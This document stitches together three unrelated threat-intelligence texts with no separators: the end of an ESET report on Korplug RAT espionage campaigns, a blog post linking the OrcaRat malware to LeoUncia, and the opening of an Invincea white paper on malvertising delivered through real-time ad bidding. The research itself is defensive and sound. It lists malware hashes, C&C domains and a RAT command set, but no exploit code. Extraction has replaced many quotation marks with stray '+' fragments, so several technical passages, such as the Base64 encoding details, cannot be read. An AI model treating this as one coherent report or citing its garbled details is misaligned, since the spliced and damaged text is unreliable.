contained decoy documents: +In all of the cases, three binary files were dropped (apart from decoy documents) that led to the Korplug +trojan being loading into memory. +exe + a legitimate executable with a Kaspersky digital signature that would load a DLL with a +specific file name +dll + a small DLL loader that would pass execution to the Korplug raw binary code +dll.avp + raw Korplug binary +The Korplug RAT is known to use this side-loading trick by abusing legitimate digitally signed executables +and is a way to stay under the radar, since a trusted application with a valid signature among startup items +is less likely to raise suspicion. +The maliciously crafted documents are RTF files that successfully exploit the CVE-2012-0158 vulnerability +in Microsoft Word. The image below shows the beginning of the CVE-2012-0158 shellcode in ASCII +encoding within the document (the opcodes 60, 55, 8bec disassemble to pusha; push ebp; mov ebp, esp). +Interestingly, though, the documents also contain the newer CVE-2014-1761 exploit that was extensively +used in targeted attacks carried out by a number other malware families this year (including BlackEnergy, +Sednit, MiniDuke, and others). However, this exploit is not implemented correctly due to a wrong file +offset in the 1st stage shellcode. +Below we see the disassembly of the 1st stage shellcode where it checks the presence of the tag +p!11 +marking the beginning of the 2nd stage shellcode and loads it into memory. Even though the tag and 2nd +stage shellcode is present in the RTF, it +s at a different offset, and thus never is loaded. +Sophos + Gabor Szappanos gives a possible explanation how these malformed samples may have come into +existence. +ESET LiveGrid telemetry indicates that the attacks against these targets have been going on since at least +June 2014 and continue through today. +We were able to pinpoint the targets to residents of the following countries: +Afghanistan +Tajikistan +Russia +Kyrgyzstan +Kazakhstan +From the topics of the files used to spread the malware, as well as from the affected targets, it appears that +the attackers are interested in gathering intelligence related to Afghan, Tajik and Russian military and +diplomatic subjects. +Interestingly, most of the affected victims have another thing in common + a number of other RATs, file +stealing trojans or keyloggers were detected on their systems on top of the Korplug RAT detection. One of +these +alternative RATs + was connecting to a domain also used by the Korplug samples. +Since the functionality of these tools was partly overlapping with that of Korplug, it left us wondering +whether the attackers were just experimenting with different RATs or were they supplementing some +functionality that they were unable to accomplish. +Additional information about two malware families that were most often found accompanying Korplug +infections is given below. +Alternative Malware #1: DarkStRat +A curious Remote Access Trojan, as research points to a Chinese connection but the commands it listens +to are in Spanish (translation in English): +CERRAR (close) +DESINSTALAR (uninstall) +SERVIDOR (server) +INFO +MAININFO +PING +REBOOT +POWEROFF +PROC +KILLPROC +VERUNIDADES (see units) +LISTARARCHIVOS (list files) +EXEC +DELFILE +DELFOLDER +RENAME +MKDIR +CAMBIOID (change ID) +GETFILE/SENDFILE/RESUMETRANSFER +SHELL +SERVICIOSLISTAR (list service) +INICIARSERVICIO (start service) +DETENERSERVICIO (stop service) +BORRARSERVICIO (erase service) +INSTALARSERVICIO (install service) +The malware can manage processes and services on the infected machine, transfer files to and from the +C&C server, run shell commands, and so on. It is written in Delphi and connects to +www.dicemention.com. Some samples contain a digital signature by +Nanning weiwu Technology co.,ltd +Alternative Malware #2: File Stealer +This malware, written in C, and contains several functions for harvesting files off the victim +s hard drive +according to criteria set in the configuration file. Apart from doing a recursive sweep of all logical fixed +and remote drives, it also continually monitors any attached removable media or network shares by +listening to DBT_DEVICEARRIVAL events. +In addition to collecting files, the malware attempts to gather saved passwords, history of visited URLs, +account information and proxy information from the following applications: +Microsoft Messenger +Microsoft Outlook +Microsoft Internet Explorer +Mozilla Firefox +The C&C domains used by this malware are: +newvinta.com +worksware.net +Some samples of this file stealer detected in these campaigns also contain the signature by +Nanning +weiwu Technology co.,ltd + another indicator that the infections are related. +List of SHA1 hashes: +Korplug: +5DFA79EB89B3A8DDBC55252BD330D04D285F9189 +095550E3F0E5D24A59ADD9390E6E17120039355E +5D760403108BDCDCE5C22403387E89EDC2694860 +05BFE122F207DF7806EB5E4CE69D3AEC26D74190 +548577598A670FFD7770F01B8C8EEFF853C222C7 +530D26A9BEEDCCED0C36C54C1BF3CDA28D2B6E62 +F6CB6DB20AA8F17769095042790AEB60EECD58B0 +EF17B7EC3111949CBDBDEB5E0E15BD2C6E90358F +17CA3BBDDEF164E6493F32C952002E34C55A74F2 +973EA910EA3734E45FDE304F20AB6CF067456551 +47D78FBFB2EFC3AB9DDC653A0F03D560D972BF67 +0B5A7E49987EF2C320864CF205B7048F7032300D +E81E0F416752B336396294D24E639AE86D9C6BAA +E930D3A2E6B2FFDC7052D7E18F51BD5A765BDB90 +Alternative Malware #1: +FDD41EB3CBB631F38AC415347E25926E3E3F09B6 +457F4FFA2FE1CACFEA53F8F5FF72C3FA61939CCD +5B6D654EB16FC84A212ACF7D5A05A8E8A642CE20 +7D59B19BD56E1D2C742C39A2ABA9AC34F6BC58D4 +D7D130B8CC9BEA51143F28820F08068521763494 +01B4B92D5839ECF3130F5C69652295FE4F2DA0C5 +02C38EC1C67098E1F6854D1125D3AED6268540DE +Alternative Malware #2: +3A7FB6E819EEC52111693219E604239BD25629E9 +BF77D0BA7F3E60B45BD0801979B12BEA703B227B +55EF67AFA2EC2F260B046A901868C48A76BC7B72 +A29F64CD7B78E51D0C9FDFBDCBC57CED43A157B2 +34754E8B410C9480E1ADFB31A4AA72419056B622 +17A2F18C9CCAAA714FD31BE2DE0BC62B2C310D8F +6D99ACEA8323B8797560F7284607DB08ECA616D8 +1884A05409C7EF877E0E1AAAEC6BB9D59E065D7C +1FC6FB0D35DCD0517C82ADAEF1A85FFE2AFAB4EE +5860C99E5065A414C91F51B9E8B779D10F40ADC4 +7950D5B57FA651CA6FA9180E39B6E8CC1E65B746 +Research by: Anton Cherepanov +Author Robert Lipovsky, ESET +LeoUncia and OrcaRat +The PWC-named malware OrcaRat is presented as a new piece of malware but looking at the URI used for C&C communication, it could be an updated version of a wellknown and kind of old piece of malware: LeoUncia. +Status +Let's face it: +px~NFEHrGXF9QA=2/5mGabiSKSCIqbiJwAKjf+Z81pOurL1xeCaw=1/xXiPyUqR/hBL9DW2nbQQEDwNXIYD3l5EkpfyrdVpVC8kp/4WeCaArZAnd+QEYVSY9QMw=2 +URI taken from an OrcaRat sample. +It looks a lot like: +qFUtb6Sw/TytLfLsy/HnqI8QCX/ZRfFP9KL/_2yA9GIK/iufEXR2r/e6ZFBfoN/fcgL04f7/ZBzUuV5T/Balrp2Wm +URI taken from a LeoUncia sample. +What about it? Could it be the same kind of things, huh? Let's dig a little deeper inside the code to check if it is just some sort of coincidence or if it is indeed the same code +that is behind these two pieces of malware. +PWC explain it pretty well: the URI is made of some sort of Base64-encoded strings with the middle one being the seed to be associated to the master key to decrypt the +whole thing. Actually: +URI = E1/E2/E3/E4/E5 +and to obtain Di (the original data that gives us Ei once encrypted), we must perform the following operation: +Di = rc4(md5(custom_debase64(E3)+master_key)).decrypt(Ei) +where master_key is +OrcaKiller + for the OrcaRat sample. +What can we find in LeoUncia that is to be found in OrcaRat too? +URI decryption +First, let's have a look at the URI decryption routine. +Dealing with OrcaRat, we have seen the following algorithm: +Di = rc4(md5(custom_debase64(E3)+master_key)).decrypt(Ei) +When we talk about LeoUncia, we can have a look at the blog posts made by FireEye back in December 2010, especially the second one, where some assembly code has +been screenshot from IDA without ever giving the name of the underlying algorithm: yes, it is RC4! +Once decoded from Base64, the binary data we obtain from the URI is comprised of two parts: the first 16 bytes are the decryption key, and the rest of the data is the +information to be decrypted. Putting back pieces together, we have the following algorithm for LeoUncia: +D = rc4(custom_debase64(E)[:16]).decrypt(custom_debase64(E)[16:]) +The two samples both share a "custom" Base64 encoding with the use of RC4; nothing fabulous, but it is a start. +Encoding +We dig further with the encoding algorithm: the so-called +custom + Base64. +In both case, the first goal of the customization is to avoid the presence of some + in any encoded data, because it would break down the process of cutting the URI along +with the + separator. For LeoUncia, the Base64 being used is the Base64-URI that replaces + and + by + and +, while for OrcaRat, + are kept and + are +replaced by +Additionally, OrcaRat authors thought it would be great if the URI was a little less obviously Base64-related. So, rather than splitting every eight characters to avoid having +"=" in the URI, they decided that replacing the endings "=" in "=1" and "==" in "=2" would be a great improvement. +Hibernation feature +Let's have a look at one of the feature of LeoUncia: the hibernate feature. +The feature does the same in OrcaRat: check for some date and time written in a file, and sleep for as long as needed before deleting the aforementioned file. (We would +also notice that an useless call to FileTimeToSystemTime has been removed meanwhile.) +The real difference lies in the obfuscation of the filename: LeoUncia was using a plain-text filename ( +readx +), whereas OrcaRat is obfuscating (just the same way it +obfuscates the Campaign ID) this data: the filename is +wbt.dat + (obfuscated string XORed character-by-character with the XOR key +product +) and it is located in the +Data + folder of the user OrcaRat is running with. +Code seen in a very old LeoUncia sample: plain-text hibernation filename. +Code seen in a more recent LeoUncia sample: XORing with +hxing + the hibernation filename. +Code seen in an OrcaRat sample: XORing with +product + the hibernation filename. +Debug strings +Finally, let's look at the debug strings we can find in the binaries. +The LeoUncia sample studied by FireEye includes a perfect English string: +\r\nThe Remote Shell Execute: %s completed!\r\n +Unfortunately, we cannot find this string in the OrcaRat sample. Bad luck... +But when we look at a more recent sample of LeoUncia, we have one with the above string and two other interesting strings: +\r\nThe Remote Shell Execute: %s completed!\r\n +\r\nReturnTime Set Error!\r\n +\r\nReturnTime set success!\r\n +These two strings are linked to the writing in the hibernation file, and indicates to the C&C manager that its command either succeeded or failed. +That is very interesting because the OrcaRat sample is also using some very similar debug strings to notify its C&C about the hibernate command: +\r\nSet return time error = %d!\r\n +\r\nSet return time success!\r\n +And yes, it is always easier to debug your code when you know the error code; that's an improvement! +Conclusion +These two families are most likely linked in the sense that OrcaRat is a nicely updated version of LeoUncia. +DETECTION | PREVENTION | INTELLIGENCE +Invincea White Paper +Micro-Targeted Malvertising via Real-time Ad Bidding +UPDATED: Includes New CryptoWall Malvertising Campaign +Release date: October 27, 2014 +Invincea White Paper +Invincea, Inc. +Invincea White Paper +Table of Contents +Executive Summary ............................................................................................................... 2 +Introduction .......................................................................................................................... 3 +Operation DeathClick: Targeting the US Industrial Base ...................................................................4 +Summary for Incident at Fleaflicker.com .........................................................................................4 +Summary for Incident at Gpokr.com ...............................................................................................9 +Summary for Webmail.earthlink.net ............................................................................................. 11 +Summary of Incidents in Operation DeathClick ............................................................................. 13 +Real-Time Bidding Networks: How it works .......................................................................... 13 +Malvertisers have Weaponized RTB ............................................................................................. 16 +Competitive Service Offerings for RTB .......................................................................................... 16 +Major Players in RTB .................................................................................................................... 20 +How Malvertisers Get $$ to Bid on RTB ......................................................................................... 21 +Where Malvertisers Host Exploits ................................................................................................. 22 +Real World Examples of RTB Malvertising Captured by Invincea .................................................... 23 +Ransomware Campaign via Malvertising ............................................................................. 26 +Analysis of CryptoWall Malvertising Infections .............................................................................. 27 +Central Hosting of Clean Content ......................................................................................... 30 +How to Protect Yourself from Micro-targeted Malvertising ................................................. 31 +Release Notes...................................................................................................................... 32 +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Executive Summary +Most targeted attacks against organizations originate as spear-phish campaigns or watering hole style +web driveby attacks. Within the last six months, Invincea has discovered and stopped targeted +malvertizing attacks against specific companies -- particularly those in the Defense Industrial Base. The +combination of traditional cyber crime methods (malvertising) with targeted attacks against Defense +industrials for theft of IP represents another development in the on-going blending of techniques from +cyber crime and advanced threat actors with nation state agendas. We are tracking an on-going campaign +against US Defense companies under the code name Operation DeathClick. +Traditional malvertizing has been an effective but indiscriminate method cyber crime gangs use to +compromise endpoints to perpetrate ad fraud, identity fraud, and banking credential theft. In this new +targeted variation of malvertizing, the perpetrators are attacking specific organizations by leveraging realtime ad bidding networks and micro-targeting techniques developed over the last decade in online +advertising. The objective of these micro-targeted attacks against the Defense sector is likely theft of +Intellectual Property more than ad fraud and indicates motive and sophistication characteristic of +advanced threat actors. Since these attacks were blocked by Invincea prior to compromise of the machine +or network, we cannot confirm the specific IP the perpetrators are after + only the Tactics, Techniques, +and Protocols (TTPs) used which we describe herein, similar to methods used to provide backdoor access +and command and control over compromised networks. +While we discovered these attacks across multiple Defense companies, we expect it will not be long, if +not already, before other highly targeted segments including Federal, Financial Services, Manufacturing, +and HealthCare are victimized with the same micro-targeted malvertising. The campaign described here +does not represent a single flaw, 0-day, or unpatched bug, but rather a significant development in the +adversary +s capabilities and strategy to leverage legitimate online advertising platforms on well-known ad +supported websites via a technique called Real-Time Ad Bidding. In other words, this problem will not be +patched on Tuesday. +UPDATE: We have updated this document to include a new section on a campaign of distributing +CryptoWall ransomware via malvertising. While the attack vector is the same, we believe this to be +motivated by cybercrime rather than theft of IP from Defense companies. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Introduction +Malvertising has seen meteoric rise in 2014. Threat actors create a corporate front, advertise on +commonly visited sites, then later switch out the landing pages for their ads to pages that host exploit +kits, or simply create a temporary redirection from their usual content to the malicious landing page. +These exploit kits are hosted on compromised web servers across the world. In other words, they leverage +legitimate ad-supported popular websites together with compromised websites for hosting exploit +landing pages, defeating black-listing techniques. The lifetime of these ads and landing pages are +measured in hours. +In the campaign described here, Operation DeathClick, traditional malvertising has been armed with a +micro-targeting system using IP address ranges, geographically narrowed down to zip codes, and interests +of the user (recorded in cookies) to target specific companies, company types, and user +interests/preferences. They are employing the tactics of real-time ad bidding to guarantee malicious ad +delivery to intended targets of the campaign + building on a decade of work in real-time analytics for +online ad placement, but for nefarious purposes. +The threat actors redirect their ads for just minutes at a time and then abandon their exploit kit pages +forever. This means that list-based threat intelligence feeds are rendered ineffective. The domains used +do not appear in any proxy blacklist, and the malware droppers delivered by the exploit pages always +employ different signatures, evading traditional network and endpoint detection technology. +Ad delivery networks today are not incentivized to address the problem in a credible manner as they +derive revenue from the criminal enterprise, while not being held accountable. Turning a blind eye to the +problem is rewarded economically. Meanwhile the perpetrators are able to use traditional malvertising +and ad fraud bots to fund the criminal enterprise. +Without cooperation of ad networks to vet the advertisers working through front companies, this attack +vector will go unchecked. And now, with the advent of real-time ad bidding, these threat actors have +weaponized ad delivery networks to target victims based on: +User-Agent strings (versions of flash, OS, java and browser) +Interest-related content (click bait articles, industry specific software or hardware, like medical +supplies, radar mapping software, ammunition sales, stocks forums) +Advertising Profiles derived from cookies (someone with specific tastes, may shop for shoes, +handbags, cars, luxury vacations) +Geographic region (malvertisers can target specific neighborhoods or states via geoip direct +advertising) +Specific corporate IP ranges (targeted malvertising can target the public IP space of your network +or an Industrial Vertical) +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Real-time ad bidding allows advertisers, and by extension, adversaries, to micro-target ad delivery on an +extremely granular basis. For example, oppressive regimes trying to gather intelligence on activist +protests can deliver ads to people getting email from within a specific locality where they are protesting. +Today, it is commonplace for micro-targeting techniques to be used as part of the toolset in legitimate +online advertising. For instance, a defense contractor, trying to win a new omnibus contract, can deliver +targeted ads to online news sites frequented by Government program personnel. The latest software +product release can be delivered to Windows users visiting PC Magazine +s website. A local car dealership +can sense when someone is in the market for a new car and can deliver advertising to those users, based +solely on browsing history. +Now advanced threat actors are able to target an organization directly via micro-targeted malvertising, +based solely on their corporate network IP range. Thus, it doesn +t matter where in the world you point +your web browser -- an online video poker room, a fantasy football club homepage, a Pakistani news +homepage, or even checking your own webmail at a trusted email provider. Those ad windows can and +are being used to deliver malware if the bidding price is right. +Operation DeathClick: Targeting the US Industrial Base +Recently, multiple US Defense/Aerospace contractors were targeted by a malvertising campaign. These +contractors had deployed world-class enterprise security defense in depth approaches to protect their +intellectual property. They had next generation firewalls that relied on threat intelligence feeds to do +auto-blocking of known malicious sites. They had malware interception technology that relied on known +bad hashes to prevent malicious downloads. The multiple proxies in place subscribed to real time feeds +of known bad URLs. They deployed AV at the gateways and on the endpoints. +But in a two week period, these organizations were hit with dozens of micro-targeted malvertising attacks, +each of which would have provided a beachhead for the threat actors from which to compromise the +network, if successful. In each instance, the attacks were carried out by targeting these Defense +contractors directly via real-time ad bidding. Once targeted, an end user only needed to browse to any +website, anywhere in the world, which contained a DoubleClick ad-partner embedded window. Invincea +stopped these attacks on the endpoints by containing the delivered exploits in secure virtual containers, +while producing the forensics that led to this discovery. +Next we go in some detail about example attacks perpetrated against the defense firms. +It is important to note that the websites we show next that served up targeted malvertising were victims +of malvertising campaigns with no knowledge of the malicious ads they were serving up. These malicious +ads were served up by 3rd party networks, who are unwittingly sourcing malicious content. As we will +discuss later, the 3rd party ad networks themselves are falling victim to malicious content campaigns. +Summary for Incident at Fleaflicker.com +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +A user visited his online fantasy football league homepage at Fleaflicker.com. As soon as the page loaded, +a malicious ad delivered a backdoor Trojan via a Java-based exploit. +Figure 1 shows a screenshot of the page that was visited. You will notice the two inline ad placements +for DoubleClick ad delivery. The malware delivered came from a compromised Polish website, and +would have installed a generic backdoor Trojan. +Figure 1: Fleaflicker.com website +Note the prominent ad placements by AdChoice, a DoubleClick affiliate. Figure 2 shows an event tree of +the exploit and malware delivered from an ad by visiting Fleaflicker.com. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Figure 2: Event tree for infection from Fleaflicker.com Incident +The event tree in Figure 2 taken from Invincea +s Threat Management Console shows the exploited Java +process dropped a file called fvJcrgR0.exe, and that it likely came from Pubmatic, an ad delivery network +that allows for real time bidding to deliver ads. In this instance, the Pubmatic server redirected to a Web +server in Poland that dropped the malware. The timeline below shows the exact times and URLs visited. +Figure 3: Timeline for Fleaflicker.com Incident +Note the number of re-directs from Fleaflicker.com to different outside properties in Figure 3. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Figure 4: Process Launch for Malware fvJcrgR0.exe from Fleaflicker.com Incident +Invincea Threat Management provides a quick way to search for an MD5 hash on third party sites (see +Figure 4). By clicking the VirusTotal link, the analyst will see the following VirusTotal report in Figure 5: +Figure 5: VirusTotal Report for Malware fvJcrgR0.exe from Fleaflicker.com Incident +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +From the VirusTotal report in Figure 5, you will see that this malware is a Trojan backdoor that would likely +be used to download additional malware or to provide remote persistent access to the attacker. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Summary for Incident at Gpokr.com +An employee at a defense contractor visited a free Texas Poker online game. The Poker site had +advertisements on the page, one of which launched a similar attack as seen in before on other websites +visited by employees at this firm. +Figure 6: Screenshot of Gpokr.com +It should be noted that Gpokr.com no longer appears to be serving advertisements from their site. At the +time of the incident, as seen in the logs below, an ad window was previously present. In the event tree +shown in Figure 7, you will see that the winning bid redirected to a direct-to-IP site instead of a site via +domain name. Also, above is the first indication of specific executable DLL files. Searches for these +filenames returned zero results on VirusTotal. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Figure 7: Event Tree for Gpokr.com +This event on September 14 (Figure 8) shows that delivery.first-impression.com redirected directly to an +IP address, not a domain name to deliver its malicious payload. Note the multiple DLL files written to disk +and the spawning of rundll32.exe. At this point, the Invincea-protected host recognized the unauthorized +process and reverted itself to a clean state. +Figure 8: Timeline View for Event 5 + Gpokr.com +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Summary for Webmail.earthlink.net +In another incident an employee checked their online Earthlink account. When they replied to an email, +a new ad was loaded on a page that attempted to exploit Java. This malvertising was from the same IP +address seen in other incidents. +Figure 9: Screenshot of Webmail.earthlink.net +You will notice the inline advertisements on this page in Figure 9. The event tree in Figure 10 notes that +this was likely a spear-phish attack. The timeline will show that when the user replied to an email, the ads +on the Earthlink page refreshed, dropping the exploit code via Java. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Figure 10: Event Tree for Incident 6 Webmail.earthlink.net +Note in the timeline in Figure 11, how there was a 7 minute gap between the DoubleClick ad redirect and +the delivery.first-impression.com ad. This is an indication that the page was refreshed or the ad was +refreshed on the page. The same exploit IP address from the Gpokr event is present. This event is the +oldest, happening on September 11. +Figure 11: Timeline for Incident 6 Webmail.earthlink.net +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Summary of Incidents in Operation DeathClick +The three examples above are samples of the more than two dozen micro-targeted attacks we have +witnessed and blocked as part of Operation DeathClick since mid-September. Defense Industrial Base +customers witnessed micro-targeted malvertising at a rate six times that of comparable private sector +companies with similar defense-in-depth capabilities. +Real-Time Bidding Networks: How it works +We observed in Operation DeathClick that real-time ad bidding networks are being used by criminal +enterprise to target companies with malicious content in order to gain persistent remote access. In +these third-party arrangements, the content is frequently not vetted because billions of impressions are +rendered in real-time. Most of the content is legitimate ads. A small fraction is malicious content linking +to landing pages that infect users. Real-time ad networks are being used, often unwittingly, and some +have taken steps to try and combat malicious use of their networks. The Online Trust Alliance is one such +industry group comprised of major software companies and ad networks working together to try and +address this problem. Our goal in this paper is to shed light on the micro-targeting of companies by +criminal enterprise employing real-time ad networks, and to aid the industry in collectively addressing +this problem. +Real-time ad bidding networks have evolved over the last ten years as a means of micro-targeting +customers with advertising content they are more likely to click-on. +From Wikipedia: +Real-time bidding (RTB) refers to the means by which ad inventory is bought and sold on a perimpression basis, via programmatic instantaneous auction, similar to financial markets.[1] With +real-time bidding, advertising buyers bid on an impression and, if the bid is won, the buyer +s ad is +instantly displayed on the publisher +s site.[2] Real-time bidding lets advertisers manage and +optimize ads from multiple ad-networks by granting the user access to a multitude of different +networks, allowing them to create and launch advertising campaigns, prioritize networks and +allocate advertising stock. +Real-time bidding is a dynamic bidding process where each impression is bid for in (near) real time, +against a static auction where the impressions are typically bundled in groups of 1,000. +A typical transaction begins with a user visiting a website. This triggers a bid request that can +include various pieces of data such as the user +s demographic information, browsing history, +location, and the page being loaded. The request goes from the publisher to an ad exchange, +which submits it and the accompanying data to multiple advertisers who automatically submit +bids in real time to place their ads. Advertisers bid on each ad impression as it is served. The +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +impression goes to the highest bidder and their ad is served on the page.This process is repeated +for every ad slot on the page. Real time bidding transactions typically happen within 100 +milliseconds from the moment the ad exchange received the request. +The bidding happens autonomously and advertisers set maximum bids and budgets for an +advertising campaign. The criteria for bidding on particular types of consumers can be very +complex, taking into account everything from very detailed behavioral profiles to conversion data. +The following infographic summarizes how advanced adversaries are now micro-targeting companies +using malvertising. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Malvertisers have Weaponized RTB +The marketplace and auction of ads sounds great for actual ads. But what if the landing pages that are +supposed to be ads are actually malicious PHP pages with embedded malware? The bidding and ad +placements work the same, but instead of seeing a flashy ad banner, the highest bidder for the placement +serves malware. The price to win the bid to push malvertising to any page you happen to visit ranges from +45 to 75 cents per impression. +A malicious advertiser on a network may serve crafted, seemingly normal ads, a majority of the time. In +fact, the ads are often stolen copies from legitimate advertisers. This establishes the attacker +s legitimacy +and trust on the ad network. Of course with real-time ad bidding, he can simply offer up low bids and his +content would consistently lose in the marketplace. But it is very simple to replace the redirection code +to switch from a legitimate ad banner to a drop site that hosts an exploit kit, typically based on Java, Flash, +Silverlight, or all three. Once the malvertiser detects that he has several infected hosts, he removes the +redirection code and goes back to serving standard ad banners. He then +burns + his temporary exploit kit +drop site, moving his exploits to another location for a new campaign. +This allows the malicious advertiser to perform hit and run attacks, infect whomever he wants at whatever +time he wants, and maintain his presence on the advertising marketplace without drawing undue +attention to his activities. +In the sections below, we will provide highlights of the RTB industry, its targeting capabilities, and show +how malvertisers have been mis-appropriating RTB networks to deliver malware. +Competitive Service Offerings for RTB +The RTB ad networks provide significant micro-targeting capabilities that have long been used to serve +legitimate content to users more likely to click on them. In the following, we describe these capabilities +to show the state of the art in RTB network capabilities. The quoted material below are direct quotes from +Real Time Bidding service providers linked. Emphasis added by Invincea. +Pubmatic: +Audience Targeting: Bid on the audiences most valuable to you. Each impression in the PubMatic +auction can be enhanced with first- and third-party data; giving buyers targeting capabilities +across display, mobile, tablet and video inventory. Media buyers can also cookie sync with +publisher audiences to incorporate CRM, retargeting and exclusion strategies in their digital +advertising. +Buyers have access to proprietary audience segments either directly through Private Marketplace +deals or through the open market. With hundreds of parameters available to you, PubMatic has +your best audiences waiting for you. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +With PubMatic, buyers are able to access pre-defined vertical or audience packages, seasonal +packages, publisher and/or site-specific inventory packages as well as pre-selected publisher +packages and pricing available in Private Marketplaces. +First-Impression.com +First-Impression Buy-Side offers the granular targeting, tracking, and reporting needed to help +our clients make the most of their spend, along with an expert support team to advise when +needed. By leveraging real time buying, First-Impression Buy-Side gives media buyers the full +control to maximize the value of an impression. +Could Malvertisers Track Exploits and their cost per impression? Yes. Many RTB networks provide a +control panel to track advertising campaigns in real-time, along with notifications that bids have been won +and who exactly was served the malware. +Below is a URL redirection log from First-Impression.com from a winning bid by a malvertiser. In the URL +are parameters such as the type of ad, the type of user-agent string of the ad reader specified (which +discloses browser and java versions), whether it is a retargeted ad based off of cookies (this one was not), +the price paid, which is 65.4 cents, and the notification to the malvertiser that his malvertising was +delivered. +http://delivery.firstimpression.com/delivery?action=serve&ssp_id=3&ssp_wsid=2191400908&dssp_id=100&domain_ +id=2191400908&ad_id=748271&margin=0.4&cid=155380&bn=sj14&ip_addr=24.234.123.133&ua=15 +40937276&top_level_id=24.234.123.133&second_level_id=1540937276&page=thanhniennews.co +m&retargeted=null&height=90&width=728&idfa=null&android_id=null&android_ad_id=null&bi +d_price=0.654&count_notify=1&win_price=$AAABSMPg1dmFEPqXEZe5_CYviub3uOlabldGew +DoubleClick.net +DoubleClick discusses their targeting capabilities in online documentation. Since they specialize in +knowing the location of their ad windows, they market those ad spaces to the actual advertisers and +malvertisers, along with targeted demographics about the content pages, the visitors to the sites and +more. +To showcase the variety of impression-level data available to buyers, consider the data made +available through a connection to DoubleClick Ad Exchange +s real-time bidding API. With ADX, a +buyer could consider any of the following data passed from the seller with each impression: + Ad slot parameters: visibility (above or below the fold), size, excluded creative attributes, +excluded advertiser URLs, allowed vendor or ad technology. + Geo parameters: country, region, metro, city. + Content parameters: site URL, site language, seller network, vertical or category. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper + User parameters: browser, operating system, anonymous cookie (hashed), cookie age. +Just like when considering one type of data, by using the anonymous cookie parameter, buyers +can consider first-party retargeting or third-party audience data from a data provider. However, +they can go further in the evaluation by looking at more of these parameters. This helps a buyer +learn much more about a particular user and a particular impression, gain a smarter answer to +the three essential questions and make a more data-driven decision. +Twitter, Facebook and other RTB ads can now target mobile devices by their phone +numbers. +This sounds like a great way to advertise if you are in the marketing industry. Consider how granularly a +person can be targeted if this service is used maliciously. If not targeted by the desktop, how about on +the mobile platform? +Twitter +s Tailored Audiences just got a little more tailored. +Advertisers can now augment their customer data using mobile advertising IDs and mobile +phone numbers as a way to reach existing customers and increase audience size. In essence, the +move is an extension of Twitter +s Tailored Audiences for CRM retargeting, which allows advertisers +to use hashed non-PII email address to retarget existing customers. (email addresses are twitter +IDs- so you could be targeted for ad delivery based on your account name or known phone +number) +Twitter also rolled out the ability to target lookalike audiences, a function that seems pretty similar +to Facebook +s tool of the same name. Twitter +s lookalike modeling uses a proprietary algorithm +that examines modeled users looking for similarities related to behaviors, interests, location, +demographic attributes and engagement patterns. +Twitter described its enhanced as +part of improved targeting options to help advertisers reach +additional users similar to their existing audiences. +Tailored Audiences, Twitter +s seeming answer to the Facebook Exchange (FBX), officially launched +back in December after running retargeting and database matching tests in July. Twitter has +appeared to follow Facebook +s lead with a number of its recent roll-outs, including site retargeting, +CRM targeting and now retargeting via lookalike audiences. (Facebook also makes it possible to +target users by phone numbers through Custom Audiences.) +Neustar.biz +Neustar does provide a real-time bidding ad exchange, but their real market is IP intelligence that they +sell to other advertising networks for the purposes of better targeting specific users. In Europe, laws +require that advertising networks allow people to opt out of having tracking cookies, which is how many +advertisers used to rely upon for ad campaign targeting. To get around this, Neustar perfected IP based +targeting, which avoids cookies. They are able to build IP specific browsing profiles based on IP subnets. +In a blog post below, Neustar boasts about their direct to IP range and enterprise advertising. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +How can Neustar IP Intelligence target by IP? +While IP intelligence has been around for many years, the ability to effectively target advertising +by audience, based on IP is very new. Neustar IP Intelligence is currently working with select DSP +platforms to buy impressions off of the exchanges based on the IP address rather than cookies. +This has only been possible with the recent emergence of real time bidding (RTB). The secret +sauce is in understanding the IP and the methodology necessary for targeting ads appropriately +against it. +Is an IP Address like a cookie? +No, an IP address only identifies devices on a network. The IP address does not contain any PII and +does not track or store any consumer usage or behavioral information. (But IP ranges are +registered by IANA, and you can easily know who owns the ranges) +Product Specific Questions +Q1: How does the process work? +The process works exactly like any advertising network. Instead of buying inventory based on a +cookie, Neustar is buying inventory based on an IP address. We run the targeting specifics against +our proprietary database and create a custom IP list to target against. Neustar has set up +relationships with partners that have built the functionality for this to work end-to-end for our +advertisers. +Neustar offers a full service ad network. Brand marketers who wish to advertise using IP Audience +Targeting can work directly with Neustar to determine custom IP placements, run campaigns, +optimization, reporting and billing. Much like any traditional online publisher or online ad network, +Neustar manages the entire process. +How does Neustar deliver its ads? +We use industry standard methods for delivering our ads, but what makes our approach special is +that we bake in the IP data before delivering the inventory with our network partners, which +allows us to target display ad campaigns to a specific business or organization. We obtain +inventory from ad exchanges, but have our own ad server. +Zedo +Zedo, blamed for recent malvertising via DoubleClick, say they are now trying to protect against +malvertisers in this blog here. Less than a week after this announcement, they published another blog +post that describes how they can push advertising to specific platforms, devices, as well as specific markets +and networks: +ZEDO Advertising Technology Updates + September 2014 +Device Targeting +Users can now target ads to a specific device when trafficking ads. An option for +Device +Targeting + is now available under +Targeting +. A creative targeted to a specific Device will serve +only on that Device. All major manufacturers/models are supported by this feature. If a creative is +not targeted to any specific device than it will serve on all device. +Invincea, Inc. +Release Date: 10.27.2014 +Invincea White Paper +Figure 13: Targeting by Device Manufacturer/Model +Apart from device, a user can target various devices based on different categories. At any given +point of time, a user can target multiple manufacturers and categories. +Figure 14: Targeting by Device Category +Reach Report by Creative +Apart from existing campaign reach report a user can now pull a reach report by creative. The +creative reach report is available along with all the existing parameters and can be pulled by +month, week or day. Creative reach report will show creative wise reach. It will 